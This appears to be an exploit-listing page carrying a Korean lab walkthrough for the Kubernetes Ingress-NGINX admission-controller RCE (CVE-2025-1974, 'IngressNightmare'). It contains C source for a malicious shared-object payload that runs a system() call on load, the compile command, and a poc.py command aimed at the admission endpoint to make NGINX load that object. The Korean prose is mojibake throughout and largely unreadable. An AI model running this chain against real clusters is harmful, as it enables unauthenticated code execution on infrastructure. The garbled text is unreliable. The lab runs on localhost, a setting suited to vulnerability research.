Share
## https://sploitus.com/exploit?id=5AF4976B-678E-516B-939F-730E670D19F4
# Kubernetes Ingress-NGINX ์ธ์ฆ๋์ง ์์ ์๊ฒฉ ์ฝ๋ ์คํ(CVE-2025-1974)
Ingress-NGINX: NGINX๋ฅผ ์ญ๋ฐฉํฅ ํ๋ก์ ๋ฐ ๋ก๋ ๋ฐธ๋ฐ์๋ก ์ฌ์ฉํ๋ Kubernetes ์ฉ ์ธ๊ทธ๋ ์ค ์ปจํธ๋กค๋ฌ
"IngressNightmare" ์ทจ์ฝ์ (CVE-2025-1974)์ ์์ ๋๋ Ingree ๋ฆฌ์์ค์ ์ ํจ์ฑ์ ๊ฒ์ฌํ๋ ์ฟ ๋ฒ๋คํฐ์ค์ ํต์ฌ ๋ณด์ ๋ฉ์ปค๋์ฆ์ธ Ingress-NGINX Admission Controller ์ ์น๋ช
์ ์ธ ๊ฒฐํจ์์ ๋น๋กฏ๋๋ค.
์ด ์ปจํธ๋กค๋ฌ๋ ์ธ์ฆ ์์ด๋ ๋คํธ์ํฌ์ ๋
ธ์ถ๋์ด ๊ณต๊ฒฉ์๊ฐ ์
์ฑ AdmissionReview ์์ฒญ์ ์กฐ์ํ๊ณ Ingress ๋ฆฌ์์ค์ ๋ฌด๋จ ๊ตฌ์ฑ์ ์ฝ์
ํ ์ ์๋๋ก ํ๋ค.
๋ค๋ฅธ ์ทจ์ฝ์ (CVE-2025-24514, CVE-2024-1097 ๋๋ CVE-2025-1098)๊ณผ ์ฐ๊ณ๋ ๊ฒฝ์ฐ ์๊ฒฉ ์ฝ๋ ์คํ์ผ๋ก ์ด์ด์ง ์ ์๋ค.
์ผ๋ถ ์
์ฉ ๊ฐ๋ฅํ ์ฒด์ธ์ ๋ค์๊ณผ ๊ฐ๋ค.
CVE-2025-1974+CVE-2025-24514: <kbd>auth-url</kbd> ์ฃผ์ ์ฃผ์
์ ํตํ RCE
CVE-2025-1974+CVE-2025-1097: <kbd>auth-tls-match-cn</kbd> ์ฃผ์์ ํตํ RCE
CVE-2025-1974+CVE-2025-1098: ์ด๋ฏธ์ง UID ๋จ์ฉ์ ํตํ RCE
## ํ๊ฒฝ ์ค์
์ทจ์ฝ์ ์ ์๋ฎฌ๋ ์ด์
ํ๊ธฐ ์ํด ๋จ์์ฑ์ ์ํด K3s ๊ธฐ๋ฐ Kubernetes ํ๊ฒฝ์ด ์ฌ์ฉ๋๋ค
```
docker compose up -d
```
์ฟ ๋ฒ๋คํฐ์ค API๊ฐ ์ค๋น๋๊ณ Ingress-nginx ์ปจํธ๋กค๋ฌ๊ฐ ์์๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฐ๋ค.
ํ๊ฒฝ์ด ์์๋๋ฉด, Ingress-NGINX๋ 30080๋ฒ๊ณผ 30443๋ฒ ํฌํธ(TLS)์์ ์์ ๋๊ธฐํ๊ณ , Ingress-NGINX Admission Controller๋ 30443๋ฒ ํฌํธ์ด๋ค.
## ์คํ๊ณผ์
<kbd>.so</kbd> ๋จผ์ , ์ปจํ
์ด๋์ ์ํคํ
์ฒ์ ์ผ์นํ๋ ๊ณต์ ๊ฐ์ฒด( ) ํ์ด๋ก๋๋ฅผ ์ปดํ์ผํด์ผ ํ๋ค.
```
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
```
1. ์์ค ์ฝ๋ ์ปดํ์ผ
```
gcc -shared -fPIC -o shell.so shell.c
```
2. ์์ ์์ค ์ฝ๋๋ฅผ ์ ์ ํ ํ๊ฒฝ์ผ๋ก ์ปดํ์ผํ ํ exploit.py๋ฅผ ์ฌ์ฉํ์ฌ ์ทจ์ฝ์ ์ ์
์ฉ
```
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
```
<kbd>AdmissionReview</kbd> exploit์ NGINX๊ฐ ์
์ฑ ๋์ ๊ณต์ ๊ฐ์ฒด๋ฅผ ๋ก๋ํ๋๋ก ๊ฐ์ ํ๋ ์ง์์ด ์ฃผ์
์์ฒญ์ ์์กฐํ์ฌ ์๋ํ๋ค.
exploit์ด ์ฑ๊ณตํ๋ฉด ingress-nginx ์ปจํ
์ด๋ ๋ด๋ถ์ ํ์ผ์ด <kbd>ssl_engine</kbd> ์์ฑ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
